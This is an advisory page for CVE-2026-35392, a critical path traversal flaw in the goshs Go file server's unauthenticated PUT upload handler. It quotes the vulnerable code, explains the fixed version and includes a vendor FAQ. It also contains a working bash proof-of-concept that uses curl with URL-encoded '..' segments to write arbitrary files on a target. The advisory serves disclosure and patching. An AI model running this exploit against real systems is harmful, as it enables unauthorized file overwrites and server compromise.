CVE-2026-35392

• PUT upload has no path sanitization | httpserver/updown.go:20-69

This finding affects the default configuration, no flags or authentication required.

Details

File: httpserver/updown.go:20-69
Trigger: PUT /<path> (server.go:57-59 routes directly to put())

The handler uses req.URL.Path raw to build the save path. No filepath.Clean, no .. check, no webroot containment.

func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {
    upath := req.URL.Path                              // unsanitized

    filename := strings.Split(upath, "/")
    outName := filename[len(filename)-1]

    targetpath := strings.Split(upath, "/")
    targetpath = targetpath[:len(targetpath)-1]
    target := strings.Join(targetpath, "/")

    savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName)
    // ...
    os.Create(savepath)                                // arbitrary path write

UploadFolder defaults to Webroot (main.go:386-388). The path is pure string concatenation with no validation.

Impact: Unauthenticated arbitrary file write anywhere on the filesystem.

PoCs:

#!/usr/bin/env bash
# Write an arbitrary file on a running goshs instance via PUT.
#
# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"

if [ ! -f "$LOCAL_FILE" ]; then
    echo "[-] Local file not found: $LOCAL_FILE"
    exit 1
fi

# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%2e%2e/"
done

# Strip leading / from target
TARGET_REL="${TARGET#/}"

PUT_PATH="/${TRAVERSAL}${TARGET_REL}"

echo "[*] Source:  ${LOCAL_FILE}"
echo "[*] Target:  ${TARGET}"
echo "[*] PUT:     ${PUT_PATH}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    --path-as-is \
    -X PUT --data-binary "@${LOCAL_FILE}" \
    "http://${HOST}:${PORT}${PUT_PATH}")

echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."

To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can

Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-35392 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.1.5-0.20260401172448-237f3af891a9); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-35392? CVE-2026-35392 is a critical-severity path traversal vulnerability in github.com/patrickhener/goshs (go), affecting versions < 1.1.5-0.20260401172448-237f3af891a9. It is fixed in 1.1.5-0.20260401172448-237f3af891a9. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-35392? CVE-2026-35392 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/patrickhener/goshs are affected by CVE-2026-35392? github.com/patrickhener/goshs (go) versions < 1.1.5-0.20260401172448-237f3af891a9 is affected.
4. Is there a fix for CVE-2026-35392? Yes. CVE-2026-35392 is fixed in 1.1.5-0.20260401172448-237f3af891a9. Upgrade to this version or later.
5. Is CVE-2026-35392 exploitable, and should I be worried? Whether CVE-2026-35392 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-35392 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-35392? Upgrade github.com/patrickhener/goshs to 1.1.5-0.20260401172448-237f3af891a9 or later.